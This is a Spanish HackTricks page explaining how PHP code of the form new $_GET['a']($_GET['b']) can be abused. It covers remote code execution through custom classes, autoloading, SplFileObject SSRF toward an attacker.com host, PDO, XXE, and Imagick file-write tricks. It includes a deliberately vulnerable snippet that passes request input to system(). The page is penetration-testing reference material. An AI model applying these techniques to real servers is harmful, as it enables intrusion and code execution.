# PHP - RCE abusando de la creación de objetos: new $\_GET\["a"]\($\_GET\["b"])
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! - Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family) - Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) - **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - **Comparte tus trucos de hacking enviando PR al [repositorio hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
## Introducción En la situación en la que se puede crear un nuevo objeto arbitrario como `new $_GET["a"]($_GET["a"])`, es posible obtener RCE, y [**este artículo**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) expone diferentes formas de obtener RCE. ## RCE a través de clases personalizadas o autoloading En la construcción `new $a($b)`, la **variable `$a` representa el nombre de la clase** para la que se creará el objeto, y la variable **`$b` representa el primer argumento** que se pasará al constructor del objeto. Si `$a` y `$b` provienen de GET/POST, pueden ser **cadenas o matrices de cadenas**. Si provienen de **JSON** u otro lugar, **pueden tener otros tipos**, como objeto o booleano. Consideremos el siguiente ejemplo: ```php class App { function __construct ($cmd) { system($cmd); } } # Additionally, in PHP < 8.0 a constructor might be defined using the name of the class class App2 { function App2 ($cmd) { system($cmd); } } # Vulnerable code $a = $_GET['a']; $b = $_GET['b']; new $a($b); ``` En este código, puedes establecer `$a` en `App` o `App2` y `$b` en `uname -a`. Después de esto, se ejecutará el comando `uname -a`. Cuando no hay clases explotables en tu aplicación, o tienes la clase necesaria en un archivo separado que no está incluido en el código vulnerable, puedes echar un vistazo a las funciones de carga automática. Las **funciones de carga automática** se establecen registrando devoluciones de llamada a través de `spl_autoload_register` o definiendo `__autoload`. Se llaman cuando se intenta crear una instancia de una clase desconocida. ```php # An example of an autoloading function spl_autoload_register(function ($class_name) { include './../classes/' . $class_name . '.php'; }); # An example of an autoloading function, works only in PHP < 8.0 function __autoload($class_name) { include $class_name . '.php'; }; # Calling spl_autoload_register with no arguments enables the default autoloading function, which includes lowercase($classname) + .php/.inc from include_path spl_autoload_register(); ``` Dependiendo de la versión de PHP y el código en las funciones de carga automática, pueden existir algunas formas de obtener una Ejecución Remota de Código a través de la carga automática. ## RCE a través de Clases Integradas Cuando no se tienen clases personalizadas y carga automática, se puede depender solo de **clases integradas de PHP**. Existen de 100 a 200 clases integradas de PHP. El número de ellas depende de la versión de PHP y las extensiones instaladas. Todas las clases integradas se pueden listar a través de la función `get_declared_classes`, junto con las clases personalizadas: ```php var_dump(get_declared_classes()); ``` Las clases con constructores útiles se pueden encontrar a través de [la API de reflexión](https://www.php.net/manual/en/book.reflection.php). Para mostrar los constructores y sus parámetros usando la API de reflexión: [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF)\ ![](https://swarm.ptsecurity.com/wp-content/uploads/2022/07/2.png) Si controlas **múltiples parámetros del constructor y puedes llamar a métodos arbitrarios** después, hay muchas formas de obtener una Ejecución de Código Remoto. Pero si solo puedes pasar **un parámetro y no tienes ninguna llamada** al objeto creado, hay **casi nada**. Conozco solo tres formas de obtener algo de `new $a($b)`. ### **SSRF + deserialización de Phar** La clase `SplFileObject` implementa un constructor que permite la conexión a cualquier URL local o remota: ``` new SplFileObject('http://attacker.com/'); ``` Esto permite SSRF. Además, las SSRF en PHP < 8.0 podrían convertirse en deserializaciones mediante técnicas con el protocolo Phar. ### **Explotando PDOs** La clase PDO tiene otro constructor interesante: ```php new PDO("sqlite:/tmp/test.txt") ``` El constructor de `PDO` acepta cadenas DSN, lo que nos permite **conectarnos a cualquier base de datos local o remota** utilizando las **extensiones de base de datos instaladas**. Por ejemplo, la extensión SQLite puede crear archivos vacíos. ### **SoapClient/SimpleXMLElement XXE** En PHP ≤ 5.3.22 y ≤ 5.4.12, el constructor de SoapClient era **vulnerable a XXE**. El constructor de SimpleXMLElement también era vulnerable a XXE, pero requería libxml2 < 2.9. ## RCE a través de la extensión Imagick Al verificar las **dependencias** del **proyecto** que intenta explotar, puede encontrar **nuevas clases** que se pueden **abusar para ejecutar comandos** creando un nuevo objeto. En este caso, se descubrió que **Imagick** era útil para ese propósito. ### Analizador VID El analizador VID permite escribir contenido arbitrario en una ruta arbitraria dentro del sistema de archivos, lo que permitiría a un atacante escribir un PHPshell en una carpeta accesible desde la página web y obtener RCE. ![](<../../../.gitbook/assets/image (157) (3).png>) #### Analizador VID + Carga de archivos Cuando se carga un archivo en PHP, se almacena temporalmente en `/tmp/phpXXXXXX`. El analizador VID de Imagick con el protocolo **msl** permite **especificar comodines en las rutas de archivo** (para que el archivo cargado temporalmente se pueda acceder fácilmente) y **copiarlo a cualquier ubicación arbitraria**.\ Esta es otra forma de obtener escritura de archivos arbitraria dentro del sistema de archivos: ![](<../../../.gitbook/assets/image (159).png>) ### PHP Crash + Fuerza Bruta El [**informe original**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) explicaba otra forma de obtener RCE mediante **la carga de archivos con contenido específico** y haciendo que el **servidor se bloquee antes de eliminar** ese archivo y luego **realizando un ataque de fuerza bruta al nombre** del archivo temporal hasta que **Imagick ejecute código PHP arbitrario**. Sin embargo, aparentemente el **truco de bloqueo** descubierto solo **funcionó en una versión antigua de ImageMagick**. ## Referencias * [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! - Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family) - Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com) - **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.